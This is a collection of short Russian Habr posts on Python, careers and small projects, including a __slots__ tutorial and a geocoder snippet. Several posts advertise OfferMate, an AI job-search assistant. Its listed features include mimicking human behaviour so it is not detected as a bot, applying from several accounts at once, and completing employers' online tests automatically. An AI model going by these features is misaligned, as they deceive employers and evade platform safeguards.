Python *

Война с алгоритмами — как обойти шизу HRов.

Привет, Хабр.

Меня зовут Дима. Я разработчик и последние пару лет занимаюсь карьерным консультированием. Через меня прошло множество кейсов и за это время я чётко увидел одну вещь: поиск работы стал слишком выматывающим.

Не потому что люди слабые, а потому что процесс стал сложным, долгим и алгоритмическим.

Отклики уходят в пустоту. Резюме читают секунды. При этом сопроводительные письма либо не читают вообще, либо одним глазом.

В какой-то момент я понял: советов уже недостаточно. Нужен инструмент, который сам будет применять эти советы.

Так я решил заняться своим проектом — ИИ-ассистентом для поиска работы.

С чего всё начиналось

Идея была простой:
Находим вакансии → анализируем → генерируем письмо → отправляем отклик.

Технически всё работало.
По факту — конверсия почти не изменилась. (Кто бы мог ожидать)

Быстро стало понятно, что делать быстрее — не значит лучше.

Шаблон (даже написанный нейросетью) рекрутеры считывают мгновенно.

Что пришлось переосмыслить

То, что мы быстро поняли: ассистент должен работать как человек, а не как скрипт.

Это значит:

• учитывать контекст, а не просто ключевые слова;

• вытаскивать релевантные кейсы, а не перечислять стек;

• писать живым языком, без «я обладаю навыками» и списков из пяти пунктов;

• не создавать подозрительных паттернов поведения.

Как мы это переосмыслили

Засев на несколько недель мы перепилили всю инфраструктуру платформы и создали нечто новое.

Не буду вдаваться в подробности, но поделюсь примерным итоговым списком функций разработки:

1. Поиск релевантных вакансий

Ассистент анализирует требования и ваш опыт на уровне задач. Если компании важно «ускорить релизы», система поднимет ваш кейс про оптимизацию CI/CD.

2. Написание персонализированных сопроводительных писем

Это была самая сложная часть.

Базовая LLM пишет слишком «правильно»: канцеляризмы, одинаковая структура, списки.
Мы долго работали над стилистикой и вариативностью, чтобы письмо выглядело так, будто кандидат реально вчитался в вакансию.

3. Отчетность

У нас нет режима, который всё делает за спиной.

Вы видите какие вакансии найдены, какие письма сформированы, какие отклики отправляются, какие результаты получены.

При этом можно настраивать стратегию, скоро добавляем чёрный список компаний — по запросу пользователей.

4. Работает аккуратно

Мы сознательно внедрили естественные паузы, человеческую скорость действий, защиту от перегрузок, контроль стабильности.

В день первого запуска мы словили такую нагрузку, что пришлось экстренно масштабировать обработчик взаимодействия с hh. Это был хороший урок.

Зачем это всё

Как карьерный консультант я вижу главное: люди тратят слишком много энергии на рутину.

Этот проект (он, кстати, называется OfferMate) не волшебная кнопка «оффер».
Это инструмент, который:

• снимает техническую нагрузку,

• ускоряет касание с рынком,

• делает процесс управляемым.

Если интересен такой подход, то вот ссылки:

Блог проекта — здесь можно принять участие в тестировании и уточнить важные для себя моменты
Лэндинг проекта — тут базовая информация, можно почитать про функции и т.д.

Новую работу гарантировать не могу, но рутину из поиска точно уберет)

Буду рад критике. На Хабре без неё нельзя 🙂

Русский FAANG: карьерный буст или выгорание за 400к? Что выбрать QA/AQA

В русском IT регулярно всплывает формулировка «русский FAANG» и многие хотят туда попасть. В этом посте на основе своего опыта разберу, стоит ли оно того.

Начнем с того, что каждый под словосочетанием русский FAANG подразумевает разное. Есть как минимум:
1. ВАСЯ: ВК, Альфа, Сбер, Яндекс
2. МЯСОВАТА: Mail (VK), Яндекс, Сбер, Озон, Валдберрис, Авито, Теле2, Альфа
3. Мой любимый - ОБОСРАЛСЯ: Озон, Билайн, ОККО, Сбер, Рамблер, Атол, ЛамодаТех, Совкомбанк, Яндекс

В целом есть множество различных вариаций и аббревиатур, но нет одной единственно правильной. Почему - везде есть свои проблемы и преимущества. Всё в большей степени зависит от проекта. Внутри одной и той же компании может быть и круто, и очень плохо.
Поэтому и нет четкого списка "топ компаний", все оценивают по разным критериям.

Так стоит ли QA/AQA и другим стремится в ВАСЯ или можно ограничится ОБОСРАЛСЯ или даже обычными мелкими компаниями / стартапами?

Чего стоит попасть туда (насколько это сложно)

У многих есть ощущение, что российский бигтех - это нечто недосягаемое. Почти как западный FAANG.

Если говорить про автоматизацию тестирования и смежные роли, картина выглядит иначе. Я скажу больше, выходя на рынок как AQA - вы с большей долей вероятности попадете именно в бигтех.

Автоматизация сегодня - одна из самых востребованных зон в крупных компаниях. Большой продукт, частые релизы, много интеграций - без автотестов это сложно поддерживать.

Плюс последние годы усилили тренд на оптимизацию затрат.
Ручное тестирование постепенно сокращается, а автоматизация растет. Считается, что один AQA может закрывать задачи нескольких QA.

Поэтому спрос на автоматизаторов в бигтехе стабильно высокий.
И в этом смысле двери туда открыты куда шире, чем кажется со стороны.

Где лучше и стоит ли оно того

Я поработал много где как AQA - Ozon, WB, VK, несколько российских и западных стартапов, бигтех US.
И могу с уверенностью сказать, что тут не угадаешь, везде всё по разному. Например, в одном из криптостартапов я встретил лучшие процессы, что видел в жизни, а в двух из бигтехов - миллион токсиков, невероятную бюрократию и в целом не очень классные процессы.

Поэтому мое личное мнение - умирать ради работы в конкретной компании вообще того не стоит.

Проекты могут быть плохие и хорошие как в бигтехах, так и в мелких компаниях. Да, в бигтехах часто процессы получше, но это далеко не всегда так.
Ну а хороший оффер могут дать и там, и там.

В общем, тут стоит выбирать по сумме условий и не руководствоваться именем компании, т.к. оно часто ничего не значит.

Те же самые "интересные задачи" есть везде, а в стартапах они часто даже круче и челленджовее.

Что в сухом остатке

При прочих равных условиях кроме записи в резюме работа в бигтехе не дает ровным счетом ничего.
Везде всё по разному и может оказаться так, что в стартапе проект будет в миллион раз лучше по всем параметрам.
Ну а строчку в резюме всегда можно придумать, если так уж хочется.

Всем спасибо за внимание! В комментариях готов подискутировать на эту и смежные темы!
В своем блоге Telegram также пишу про тестирование и автоматизацию, ну и в целом про карьеру в сфере IT. Всегда рад новым читателям!)

Собрал и перевел на русский большой гайд из разных источников по ИИ.
P.S. это не реклама платного ресурса, будьте сдержаны.

Бесплатно. Потрачено много часов работы.
Буду благодарен за фидбек и предложения.

https://ai.arckep.ru

ТРЕК 1 / NO-CODE
1.1 Введение в AI-агентов
1.2 Промпт-инжиниринг
1.3 Платформы и модели
1.4 Практика no-code
1.5 Безопасность и этика AI
1.6 Финальный проект
ТРЕК 2 / РАЗРАБОТЧИКИ
2.1 Введение в AI-кодинг
2.2 Claude Code
2.3 Gemini CLI
2.4 Codex CLI
2.5 Cursor и IDE-агенты
2.6 AGENTS.md и документация
2.7 MCP
2.8 Российские модели
2.9 Воркфлоу и OpenClaw
2.10 Финальный проект
ТРЕК 3 / OPENCLAW
3.1 Знакомство с OpenClaw
3.2 Подключение каналов
3.3 Настройка и автоматизация
3.4 Мультиагентная архитектура

Задача о сравнении чисел

Привет, Хабр! Как насчет небольшой задачи, чтобы вкатиться в рабочую неделю?

Условие

В IT-компанию N привезли экспериментальное устройство для автоматизации расчетов. Оно работает на урезанном интерпретаторе Python: никаких условий, сравнений или встроенных функций — только арифметика и битовые операции.

Знаки сравнения (>, < == и другие) использовать не получится, интерпретатор их не поймет и выдаст ошибку. Однако без них писать код довольно сложно. Придется реализовать базовую логику выбора большего из двух чисел.

Задача

Есть два числа: a и b. Найдите наибольшее из них, используя только сложение, вычитание, деление и умножение, а также битовые операции.

Нельзя использовать операторы сравнения (>, <, ==, != и т. д.), тернарный оператор, функции вроде max(), min() и прочее.

Попробуйте справиться с заданием. А один из вариантов решения показываем в Академии Selectel.

Детерминистический аудит-слой для LLM-агентов — открытое демо

Мультиагентные системы уже работают в финтехе и госсекторе — но их решения остаются чёрным ящиком. Я собрала eval pipeline, который аудирует поведение агентов в реальном времени:

→ Нарушения KYC/AML правил → Зацикливание в цепочках решений → Галлюцинированные обоснования

Архитектура: LangGraph агент → структурированные логи → метрики (consistency, anomaly detection) → audit report с PASS/FAIL по каждой цепочке.

Работает на любой модели через LiteLLM — меняешь модель одной строкой в config.yaml. API-ключ не нужен, есть рабочий Jupyter notebook.

Ориентировано на финтех и госсектор: EU AI Act, ФСТЭК.

Демо: github.com/DariRinch/dcl-eval-pipeline-demo

Экономия памяти со __slots__

В Python атрибуты классов по-умолчанию хранятся в специальном dunder-атрибуте __dict__. В описании класса его задавать не надо, он есть неявно и доступен для просмотра при необходимости. Каждый экземпляр класса также имеет свой __dict__:

class Standard:
	def __init__(self, x, y):
		self.x = x
		self.y = y
		
std = Standard(100, 200)
std.__dict__ # {'x': 100, 'y': 200}

Помимо того, что и класс и экземпляры отдельно занимают своими __dict__ место в памяти, хранение данных в словарях само по себе несет большие накладные расходы. Хеш-таблица в основе словаря хранит служебные структуры и растёт скачками при увеличении числа атрибутов, поэтому на больших количествах объектов затраты памяти ощутимы:

from sys import getsizeof

std_size = getsizeof(std) + getsizeof(std.__dict__)
std_size # 344 байта

Один из эффективных способов сэкономить память, это реализовать в классе специальный атрибут __slots__ и объявить в нем последовательность атрибутов экземпляра. Тогда вместо __dict__, Python будет использовать альтернативную структуру хранения атрибутов с помощью дескрипторов. __slots__ для экземпляров классов отдельно не создается и хранится только на уровне класса:

class Slot:
	__slots__ = ('x', 'y') # Неизменный кортеж из имен атрибутов
	
	def __init__(self, x, y): # Остальное – без изменений
		self.x = x
		self.y = y
		
slt = Slot(100, 200)
slt.__dict__ # **AttributeError**: 'Slot' object has no attribute '__dict__'. Did you mean: '__dir__'?

slt_size = getsizeof(slt)
slt_size # 48 байтов

Так добавив одну строчку кода, можно сэкономить расходы памяти в приложении, где требуется создавать миллионы одинаковых объектов.

---
Важные ограничения

1. Стоит отметить, что реализация __slots__ запрещает динамически добавлять экземпляру класса атрибуты, в отличие от __dict__. В ситуациях, где такое необходимо, __slots__ не подойдет.

   std.z = 300
   std.__dict__ # {'x': 100, 'y': 200, 'z': 300}
   
   slt.z = 300 # **AttributeError**: 'Slot' object has no attribute 'z' and no __dict__ for setting new attributes
   

2. Важно, не забывать расширять слоты, если мы добавляем в код класса новые атрибуты:

   class PartialSlots:
   	__slots__ = ('x', 'y') # Не добавили атрибут экземпляра 'z'
   	
   	def __init__(self, x, y, z):
   		self.x = x
   		self.y = y
   		self.z = z
   
   p = PartialSlots(100, 200, 300) # **AttributeError**: 'PartialSlots' object has no attribute 'z' and no __dict__ for setting new attributes
   

3. В подклассах от класса со __slots__ наследование этого атрибута проходит лишь частично. Для полноценного использования, его стоит определить еще раз, включив новые атрибуты подкласса:

   # Подкласс без доп. логики
   class InheritSlot(Slot):
       pass
   
   
   inh_slt = InheritSlot(100, 200)
   
   inh_slt.__dict__ # {}, атрибут снова доступен
   inh_slt.z = 300 # Нет ошибок при динамическом расширении атрибутов
   inh_slt.__dict__ # {'z': 300}, словарь подкласса снова занимает память
   
   # Поправим
   class InheritSlot(Slot): 
        __slots__ = ('z', ) # Слоты суперкласса добавятся в начало кортежа. В конце не забываем запятую, так как это кортеж из одного элемента.
   
   
   inh_slt2 = InheritSlot(100, 200, 300)
   inh_slt2.__dict__ # AttributeError ... теперь слоты используются корректно в подклассе
   

Не пойму — чего за кипишь? Или почему ИИ — это просто новый «питон»

Последнее время из каждого утюга кричат: «ИИ заменит программистов!», «Джуны больше не нужны!», «Учитесь на сантехников, пока не поздно!».

Давайте выдохнем, отставим смузи и разберемся по-простому, «на пальцах», что вообще происходит.

1. Программист — это не «печатающая машинка»

Главная ошибка паникеров в том, что они путают набор текста с программированием. Если ваша работа заключалась в том, чтобы копипастить методы из Stack Overflow и менять там названия переменных — да, у меня для вас плохие новости. ChatGPT делает это быстрее и без обеденного перерыва.

Но программист — это не тот, кто знает, где поставить точку с запятой. Программист — это переводчик. Мы переводим смутные человеческие «хотелки» на жесткий язык логики, понятный машине.

2. Эволюция «костылей»

Вспомните историю. Раньше писали на перфокартах. Потом на Ассемблере. Потом на Си, потом на Питоне. Каждый раз кричали: «Ну всё, теперь порог входа стал таким низким, что программисты не нужны!». И что? Программистов стало только больше. Просто мы перестали думать о том, в какой регистр положить байт, и начали думать о том, как построить архитектуру сервиса.

ИИ — это просто следующий уровень абстракции. Это новый «язык программирования», где вместо скобочек мы используем новый язык -конструкты чистого смысла

3. Проблема «идеального мусора»

ИИ — это зеркало вашего мышления. Если вы дадите нейронке кривое, логически дырявое задание — она выдаст вам идеально написанный, быстрый, оптимизированный... мусор. Чтобы управлять ИИ, вам нужно иметь в голове структуру еще более четкую, чем раньше. Теперь цена ошибки в логике выросла. Если раньше вы ошибались в синтаксисе — программа не заводилась. Теперь она заведется, но уедет не туда.

4. ИТ-поликлиника

Представьте, что в больнице появился робот-санитар, который идеально моет полы и делает уколы. Означает ли это, что врачи-хирурги или диагносты больше не нужны? Наоборот! Теперь им не нужно отвлекаться на мытье полов.

А кого вообще не заденет? (Спойлер: Работы будет завались)

Если вы думаете, что ИИ — это такой терминатор, который выкосит всё ИТ-отделение, то вы плохо представляете, как устроена реальная «цифровая больница». Есть куча специализаций, где человеческий фактор — это не баг, а фича.

• Архитекторы сложных систем (System Architects): ИИ может нарисовать типовой домик. Но построить небоскрёб на болоте, учитывая старое «дырявое» железо, бюджет заказчика и планы на 10 лет вперёд... ИИ не видит контекста «выживания» системы, он видит только код.

• Инженеры кибербезопасности (SecOps): Тут идёт вечная война хитрости. ИИ может искать паттерны, но он не может предугадать нестандартный «выверт» хакера-человека. Безопасность — это интуиция и паранойя, а у нейронок с этим туго. Гы)))

• SRE и DevOps (Те, кто спасают сервера в 3 часа ночи): Когда у системы «инфаркт», данные текут, а клиенты кричат — нужен человек с железными нервами, который примет решение «резать или шить». ИИ в критической ситуации может просто выдать ошибку 404, потому что такого случая не было в его обучающей выборке.

• Бизнес-аналитики и «Психотерапевты заказчика»: Это те, кто переводят с «бреда руководства» на человеческий. ИИ никогда не поймет, почему директор хочет «кнопку как у конкурентов, но чтобы она была синей, но красной».

• Процессные аналитики (BPM): Они рисуют, как ходят бумажки и данные между отделами. ИИ учтёт, что бухгалтер Марья Ивановна просто не отдаст отчёт вовремя, потому что обижена на айтишников?

  Итог

Ребята, расслабьтесь. Программирование не умирает, оно взрослеет. Уходит эпоха «кодинга ради кодинга». Наступает эпоха Качества Мышления. Теперь важно не то, насколько быстро ты стучишь по клавишам, а то, насколько структурированно ты умеешь формулировать смыслы.

ИИ — это просто наш новый, очень мощный экзоскелет. Но куда в нем идти и зачем — решать всё равно вам.

Так что идите пить чай, делайте зарядку для мозгов и учитесь формулировать. Это единственный навык, который у вас никто не отберет.

Как я написал 87 000 сопроводительных писем - про разработку помощника для поиска работы.

Сразу уточню - писал сопроводительные само собой не сам.
Мы с командой работаем над ИИ-ассистентом для поиска работы и эти 87 000 писем были отправлены пользователями сервиса в рамках бета-тестирования.

За этой цифрой - месяцы экспериментов, правок и неудачных гипотез. В этом посте поделюсь, с какими сложностями мы столкнулись и как их решили.

Задача

Изначально мы хотели решить довольно простую на первый взгляд проблему: автоматизировать написание сопроводительных писем.

Но быстро стало понятно, что «просто генерировать текст» - бессмысленно.

Цель изменилась.
Нужно было не просто прикладывать письмо к отклику, а сделать его:

• релевантным конкретной вакансии

• не шаблонным

• не выглядящим как типовой текст нейросети

• понятным для HR за несколько секунд

И вот тут начались сложности.

С чем столкнулись

1. Шаблонность моделей.
   Даже при хорошем промптинге тексты начинали повторяться по структуре и формулировкам.

2. Разные ожидания HR.
   Кто-то предпочитает краткость, кто-то - структуру, кто-то - конкретные достижения в цифрах.

3. Изменяющиеся требования вакансий.
   Один и тот же стек может быть описан по-разному, и формальное совпадение по ключевым словам не гарантирует релевантности.

4. Ограничения платформ.
   Изменения на стороне hh влияли на логику работы системы, и часть архитектуры приходилось пересобирать.

В какой-то момент стало ясно, что проблема глубже.

Главный вывод

После десятков тысяч писем стало очевидно:

Проблема не в том, что сопроводительные «плохие».
Проблема в том, что в них не видно релевантности.

HR тратит на письмо буквально несколько секунд.
Если за это время не становится понятно, почему кандидат подходит - письмо закрывается.

Поэтому мы изменили подход.

Система теперь не «пишет красиво».
Она сначала сопоставляет требования вакансии с опытом пользователя и только потом формирует текст, где это соответствие явно показано.

Что изменилось в результате

После 87 000 отправленных писем тексты стали короче, конкретнее, привязанными к требованиям вакансии, менее шаблонными.

Ну а параллельно дорабатывались и другие части системы:

• фильтрация релевантных вакансий

• автоматизация откликов

• работа с онлайн-тестами

• механизмы приоритизации

Что по итогу имеем сейчас

Проект находится в стадии бета-тестирования. Мы продолжаем собирать фидбек и корректировать логику, особенно в части сопоставления опыта и требований.

История с сопроводами по большей части пройдена, но осталось ещё множество аспектов для улучшений.

Кому интересно - могут попробовать бота бесплатно. В блоге можно найти более подробную информацию. Также там пишу про развитие проекта и проблемы, с которыми сталкиваемся.

Welcome: https://t.me/offermatecrew

Представлен открытый проект rembg — легковесный скрипт на Python, который поможет убрать фон даже с самых сложных картинок. Удаляет фон за секунды и не грузит ПК.

Открытый проект Dangerzone позволяет преобразовать любой документ в безопасный PDF. Решение работает с , таблицами, картинками и другими форматами документов, распаковывает и проверяет их в изолированном пространстве — даже если внутри вирус, локальному ПК ничего не грозит. На выходе получается безопасный файл для просмотра.

Открытый проект Cheat-Sheets предоставляет учебны материалы для Python, Rust, Swift, JavaScript, Kotlin, Go, Git, и других проектов. Там есть все важнейшие концепции, правила, стили программирования, фреймворки, библиотеки и прочее. Внутри также курсы по Git, Docker, базам данных, а также алгоритмам. Все материалы разделили по уровням сложности, к каждой главе есть контрольные вопросы и десятки задач. Все концепции авторы объясняют на конкретных примерах и разжевывают до последней строчки кода.

Всем привет. Хотелось узнать, сложно ли развивать Telegram бот.
Нашел на просторах habr такую статью:
https://habr.com/ru/articles/778588/
Мой бот только на русском языке, поэтому статьи писал на Яндекс Дзен (0 просмотров, пост скорее всего удалили), DTF (лучший источник пользователей, комментят и заходят в бота), habr (написал пост-рекламу - не помогла).
Еще есть реддит, но я новый пользователь (там с этим беда - карма маленькая (попаду в ад)).

Что посоветуйте делать? Только не бейте)
Ну и соответственно ссылка на бота:
http://t.me/drinking_buddy_2025_bot

Всем спасибо)

Про Созвоны

Любой руководитель в распределенной команде сталкивался с ситуациями, когда команда начинает гореть от созвонов. Спринт задачами набили, оценили, а потом половину не сделали. Из-за чего? Не попали в оценки. Были влеты..

А еще была куча общих встреч, ретро, планнингов, скрам-баннингов и интерраптов, которые на доске и в таймшите не увидишь.

Инженеры так не любят созвоны, потому что у них неосязаемый импакт и definition of done. Они мыслят задачами, мерж-реквестами, зелеными тестами, чем-то с измеримым результатом. Сел за задачу, вник и сделал. КПД в идеальных условиях напоминает воркера. В очередь пришла задача — он ее обработал и закрыл, ждет следующую. В перерывах гладит кота или пузо.

Когда инженер сидит на звонках, которые его напрямую не касаются, его пропускная способность падает из-за ложных сигналов. Он не может нормально параллельно работать. Надо либо час вникать, либо мозг выключается в мемы, либо на встречу в принципе забивают. Многие созвоны вообще не для инженеров. Они для менеджеров.

Для внеплановых статусов менеджер не всегда заранее знает, кто ему по факту нужен, и зовет «на всякий». На созвонах, кроме ведущего и ЛПР, участники в принципе нужны подстраховать. Вася может понадобиться. А может и не понадобиться. И опять сидит Вася без камеры, без микрофона и грустит. Ждет, когда все закончится, чтобы вспоминать, на чем он там остановился.

На моей практике лишние звонки исходят от консервативных слабых процессов и выученной беспомощности. Есть на проекте карго-культ аджайла и плохая база оперативных знаний. День забит статусами и повторами одной и той же информации для разных людей.

Кто поможет создать правильный шумовой барьер и дать команде работать, при этом отдавая в проектный офис нужную информацию? Как по мне, это не обязательная боль инженера. Побороть проблему — роль хорошего лида.

1. Урон от звонков надо вбирать в себя лиду. Его обязанность — знать контекст по верхам о проблемах и задачах вверенной команды. Отстаивать их интересы, обрабатывать обратную связь. Таков путь, отделяющий лида от сеньора-помидора.

2. Лиду надо собирать дашборды, таблицы, фильтры, регламенты, схемы. Запросы на оперативную информацию не должны отнимать ресурсов. Все по полочкам: база знаний, закладки, конфля, raycast шорткаты, ИИ-агента с MCP натравить на Confluence и Jira (если ИБ по шапке не даст). Надо и свой ресурс беречь и дать просящему удочку вместо рыбы.

3. От лишних звонков можно отказываться. Без конфронтаций, просто фильтровать: «А зачем? Вот все ответы на вопросы». Либо можно договориться многие задачи сделать асинхронно. Таска в джире с исполнителем и сроком и поехали.

4. Проектам нужна карта компетенций. Для тех ситуаций, где нужно глубже вникнуть в предметную область, это ок — привлечь инженера вместо лида. Важно знать, какого. Классический мем: девять женщин не могут родить ребенка за месяц. С этим стереотипом «больше-лучше» карта компетенций помогает бороться.

5. Звонок на час — плохой дефолт. 45 минут — уже лучше. 30 минут — еще лучше. 15 можно не ставить, есть мессенджер и почта.

6. Звонки должны ставиться по календарю. Вызванивать минута в минуту — моветон хотя бы потому, что есть правда неотложные ситуации. Но не все звонки — неотложные.

7. У звонков должны быть повестки. Приглашенные должны иметь возможность понимать, о чем пойдет речь. В идеале, нужна ссылка на доки или задачи. Без этого участники идут на звонок вслепую и тратят время, чтобы понять, что от них хотят.

Побуду адвокатом дьявола. На некоторые звонки команду лидам брать надо. Так можно узнать полезную информацию с полей. Ребята могут раскрыться, вовлечься. Вполне смогут затащить какой-то каверзный проект и унести его в перфоманс ревью.

В общем-то из поста у меня нет цели делать вывод, что звонки — зло. Хотим удаленку, значит потерпим общение в зуме. Как и любой другой канал коммуникации, звонок — это инструмент. У него есть области применения, хорошие практики.

Зло — звонки не оптимизировать. А инженера с его очередью лучше оставить в цикле и не засорять эфир.

Не смогли смириться с поражением - и к чему нас это привело. Как мы воскресили ИИ-помощника для поиска работы

Привет, Хабр.

В декабре наш ИИ-ассистент для поиска работы фактически перестал работать.
Изменения на стороне платформ, ограничения, поломанные сценарии - всё то, из-за чего большинство подобных проектов обычно закрываются или уходят в «заморозку».

Самый логичный вариант был простой:

«Ну ок, рынок поменялся, едем дальше».

Но мы решили иначе.

Мы не смогли смириться с тем, что квалифицированные специалисты по-прежнему тратят часы жизни на клики, шаблонные отклики и бесполезную рутину.
Поэтому вместо точечных фиксов мы решили не чинить старое, а пересобрать всё с нуля.

Так начался путь к OfferMate 2.0.

Главная мысль оказалась неожиданно простой:

Автоматизация должна быть не только быстрой, но и естественной.

Настоящий цифровой ассистент должен вести себя как человек:

• выбирать вакансии осмысленно;

• работать с паузами и приоритетами;

• не выглядеть как бот;

• и не ломаться при реальной нагрузке.

Именно вокруг этого принципа мы и пересобрали архитектуру продукта.

Что теперь умеет OfferMate 2.0

🤖 Отклики только на релевантные вакансии
Ассистент анализирует ваш опыт и требования работодателя и выбирает вакансии, которые действительно подходят, а не просто совпадают по ключевым словам.

👤 Имитация человеческого паттерна поведения
Система воспроизводит действия пользователя: паузы, разную скорость, приоритеты.
Это делает работу максимально естественной и безопасной.

✍️ Персонализированные сопроводительные письма
Каждое письмо формируется под конкретную вакансию и компанию - на основе вашего опыта и требований позиции.

📈 Контроль и аналитика
Пользователь видит, что происходит в системе, и может управлять стратегией поиска.

🧩 Новые функции

• автоматическое прохождение онлайн-тестов;

• поддержка одновременных откликов с нескольких аккаунтов.

Про релиз

12 февраля в 12:00 мы открываем доступ к OfferMate 2.0.

Первая волна будет ограничена 50 пользователями, а доступ открыт на 3 дня.
Это осознанное ограничение - чтобы сохранить стабильность системы и быстро собрать качественную обратную связь.

Поучаствовать в тестировании в числе первых можно будет в нашем телеграм канале, в нём делимся всеми новостями проекта:

👉 https://t.me/offermatecrew

Буду рад вопросам и обсуждению в комментариях

Я выпустил новую версию библиотеки для работы с МЭШ (Московская Электронная Школа)

https://github.com/xd2dd/schoolmospy

Асинхронность, удобные датаклассы и все базовые методы

Открытый проект ebook2audiobook превращает любую электронную книгу в полноценную аудиокнигу. Работает просто: закидываете epub, pdf или даже обычный txt и на выходе получаете готовый аудиофайл с главами, нормальной озвучкой и метаданными. Подойдёт, если не любите читать глазами, но хотите слушать книги в дороге или на тренировке. Работает локально на ПК и поддерживает множество языков и даже умеет клонировать голос. Можно озвучить книгу своим голосом или профессиональным диктором. Идеально для студентов, тех кто учит языки, или просто хочет слушать свои книги офлайн без подписок и облаков.

Обновлён учебный курс Welcome to the Python Programming Hub по Python с полного нуля до уровня продвинутого разработчика за 3 месяц. В репозитории сотни материалов для изучения Python, а также Data‑аналитики, машинного обучения, Data Science. Там есть вся база по Python с первых строчек кода до комплексного ООП, лямбда‑функций, замыканий и других сложных концепций языка. Изучение всех необходимых базовых библиотек, которые должен знать каждый уважающий себя разработчик на Python: JSON, Math, NumPy, Pandas, а также фреймворка Django. Материалы по всем актуальным и полезным API, машинному обучению, распознаванию речи, парсингу, компьютерному зрению, работе с изображениями и даже видео, алгоритмам и автоматизации процессов. Также даётся детальное представление о различных специализациях Python‑разработчиков, которые можно освоить и реализовать несколько пет‑проектов. В каждой главе представлены исчерпывающие примеры кода, картинки, объяснения, квизы и контрольные вопросы.

лайкните пост кто сейчас вайбкодит свои продукты и напиши в комментах что делаете. очень интересно!

Почему хороший тестировщик — это не тот, кто нашел больше всего багов

В тестировании легко попасть в простую ловушку — начать измерять свою ценность количеством найденных багов. Чем больше тикетов, тем полезнее работа. На первый взгляд логика кажется железной.

На практике все сложнее. И чем опытнее становится тестировщик, тем реже он гордится просто цифрами.

Количество багов ничего не говорит само по себе

Сто найденных дефектов могут означать две совершенно разные вещи:

• продукт реально нестабилен;

• тестирование началось слишком поздно.

Если баги находятся пачками в самом конце разработки, это не успех, а симптом. Хороший тестировщик старается сделать так, чтобы часть проблем не доходила до баг-трекера вообще.

Сильный тестировщик думает раньше, чем тестирует

Тестирование начинается не с чек-листов и не с автотестов. Оно начинается с вопросов.

• что здесь может пойти не так;

• где система уже ломалась;

• какие изменения самые рискованные.

Человек, который подключается к обсуждению требований и дизайна, часто предотвращает больше дефектов, чем тот, кто просто проверяет готовую фичу.

Баг-репорт — это не обвинение

Новички иногда воспринимают баг как доказательство чьей-то ошибки. Отсюда агрессивные формулировки и желание «поймать» разработчика.

Опытный тестировщик понимает — баг-репорт это способ помочь команде. Хорошее описание проблемы экономит время всем:

• понятно, что сломалось;

• понятно, как воспроизвести;

• понятно, почему это важно.

Чем меньше эмоций и больше контекста — тем лучше работает процесс.

Автотесты — это не самоцель

Автоматизация часто превращается в гонку — у кого больше тестов, у кого выше покрытие. Но цифры сами по себе ничего не гарантируют.

Хороший тестировщик задает другие вопросы:

• ловят ли эти тесты реальные проблемы;

• можно ли им доверять;

• не мешают ли они менять код.

Иногда удаление десятка бесполезных автотестов приносит больше пользы, чем написание сотни новых.

Хороший тестировщик думает о пользователе, а не о сценарии

Чек-листы и тест-кейсы важны, но реальный пользователь почти никогда не действует по ним.

Он кликает не туда, вводит странные данные, прерывает процессы и возвращается позже. Умение выйти за рамки сценариев отличает опытного тестировщика от формального.

Качество — это ответственность всей команды

Одна из самых токсичных идей в тестировании — что за качество отвечает только QA. Это удобно, но не работает.

Сильный тестировщик не берет качество на себя полностью. Он помогает команде видеть риски, объясняет последствия и участвует в решениях. Но ответственность остается общей.

Карьерный рост в тестировании — это не про инструменты

Инструменты меняются быстро. Сегодня один фреймворк, завтра другой. Знание конкретного тулкита редко определяет уровень специалиста.

Гораздо важнее:

• умение анализировать систему;

• понимание, где искать проблемы;

• способность говорить с разработчиками и бизнесом на одном языке.

Именно это делает тестировщика ценным, а не список технологий в резюме.

В итоге

Хороший тестировщик — это не тот, кто нашел больше всего багов. Это тот, кто:

• помогает находить проблемы раньше;

• думает о рисках, а не о галочках;

• пишет понятные баг-репорты;

• работает с командой, а не против нее.

Такие люди редко кричат о своих результатах. Но именно благодаря им продукт перестает ломаться в самых неожиданных местах.

Сразу оговорюсь, это пост- реклама.

Написал Telegram бота для знакомств (поиск собутыльника). Пользователь отправляет свою геопозицию (широту и долготу), а боту нужно предложить людей, живущих рядом.
Нашел на просторах интернета HTTP Геокодер от Яндекса. Что-то около 25000 запросов в месяц бесплатно. Ты отправляешь запрос с широтой и долготой, а сервис тебе населенный пункт (район, улица и т.д.).
Ссылка на сервис:
https://yandex.ru/maps-api/products/geocoder-api
Подключить его не сложно (документация хорошая).

Приведу пример запроса:

PARAMS = {
        "apikey":"ваш api key",
        "format":"json",
        "lang":"ru_RU",
        "kind":"locality",
        "geocode": "долгота, широта"
    }

    #отправляем запрос по адресу геокодера.
    try:
        r = requests.get(url="https://geocode-maps.yandex.ru/1.x/", params=PARAMS)
        #получаем данные
        json_data = r.json()
        #вытаскиваем из всего пришедшего json именно строку с полным адресом.
        address_str = json_data["response"]["GeoObjectCollection"]["featureMember"][0]["GeoObject"]["metaDataProperty"]["GeocoderMetaData"]["AddressDetails"]["Country"]["AddressLine"]
        #возвращаем полученный адрес
        return address_str
    except Exception as e:
        logger2.error(e, exc_info=True)
        #если не смогли, то возвращаем ошибку
        return "error"

Поменяйте только ваш apikey и широту с долготой. Запрос вернет населенный пункт по заданным данным (долгота и широта).

Ссылка на моего бота:
http://t.me/drinking_buddy_2025_bot

Спасибо за внимание